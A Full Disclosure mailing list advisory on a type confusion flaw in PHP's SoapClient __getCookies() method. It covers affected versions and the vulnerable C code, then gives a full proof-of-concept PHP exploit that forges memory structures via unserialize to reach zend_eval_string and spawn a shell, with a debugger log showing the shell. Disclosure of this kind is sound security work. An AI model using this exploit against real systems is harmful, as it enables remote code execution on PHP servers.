Full Disclosure mailing list archives
Type Confusion Vulnerability in SoapClient
From: Taoguang Chen <taoguangchen () gmail com>
Date: Fri, 20 Mar 2015 20:42:00 +0800
# Type Confusion Vulnerability in SoapClient Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1 - Release Date: 2015.3.20
A type confusion vulnerability was discovered in SoapClient object's __getCookies() method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions ------------ Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Affected is PHP 5.3 <= 5.3.29 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` PHP_METHOD(SoapClient, __getCookies) { zval **cookies, *tmp; if (zend_parse_parameters_none() == FAILURE) { return; } array_init(return_value); if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) != FAILURE) { zend_hash_copy(Z_ARRVAL_P(return_value), Z_ARRVAL_P(*cookies), (copy_ctor_func_t) zval_add_ref, (void *)&tmp, sizeof(zval*)); } } ``` The Z_ARRVAL_P macro leads to pointing a fake array-type ZVAL in memory via a fake HashTable and a fake Bucket. This should result in arbitrary code execution. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.14. ``` <?php ini_set("memory_limit", -1); if ($_SERVER['argc'] < 2) { $_SERVER['argv'][1] = 'system(sh);exit;'; } setup_memory(); $exploit = 'O:10:"SoapClient":1:{s:8:"_cookies";s:'.strlen($hashtable).':"'.$hashtable.'";}'; $z = unserialize($exploit); // $z = new SoapClient(null, array('location' => "", 'uri' => "")); // $z->_cookies = $hashtable; $z->__getCookies(); function setup_memory() { global $str, $hashtable; $base = 0x114000020; $bucket_addr = $base; $zval_delta = 0x100; $hashtable_delta = 0x200; $zval_addr = $base + $zval_delta; $hashtable_addr = $base + $hashtable_delta; $func_addr = 0x100351e3d; // zend_eval_string()'s address $bucket = "\x01\x00\x00\x00\x00\x00\x00\x00"; $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00"; $bucket .= ptr2str($bucket_addr + 3*8); $bucket .= ptr2str($zval_addr); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $bucket .= ptr2str(0); $hashtable = "\x00\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00"; $hashtable .= "\x01\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00"; $hashtable .= ptr2str(0); $hashtable .= ptr2str($bucket_addr); $hashtable .= ptr2str(0); $hashtable .= ptr2str(0); $hashtable .= ptr2str(0); $hashtable .= "\x00"; $hashtable .= "\x00"; $zval = ptr2str($hashtable_addr); $zval .= ptr2str(0); $zval .= "\x00\x00\x00\x00"; $zval .= "\x04"; $zval .= "\x00"; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); $shellcode = ptr2str(0); $shellcode .= ptr2str(0); $shellcode .= ptr2str(0); $shellcode .= ptr2str(0); $shellcode .= ptr2str($hashtable_addr + 6*8); $shellcode .= ptr2str(0); $shellcode .= ptr2str(0); $shellcode .= ptr2str($func_addr); $shellcode .= ptr2str($hashtable_addr + 9*8); $shellcode .= "\x65\x76\x61\x6c\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b\x27\x61\x72\x67\x76\x27\x5d\x5b\x31\x5d\x29\x3b\x00"; // eval($_SERVER['argv'][1]); $part = str_repeat("\x73", 4096); for ($j=0; $j<strlen($bucket); $j++) { $part[$j] = $bucket[$j]; } for ($j=0; $j<strlen($shellcode); $j++) { $part[$j+$hashtable_delta] = $shellcode[$j]; } for ($j=0; $j<strlen($zval); $j++) { $part[$j+$zval_delta] = $zval[$j]; } $str = str_repeat($part, 1024*1024*256/4096); } function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> ``` Test the PoC on the command line, then any PHP code can be executed: ``` $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run tcpoc.php 'system\(sh\)\;exit\;' Process 2606 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Jan 8 2015 22:33:37) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 2606 exited with status = 0 (0x00000000) (lldb) ``` _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- Type Confusion Vulnerability in SoapClient Taoguang Chen (Mar 20)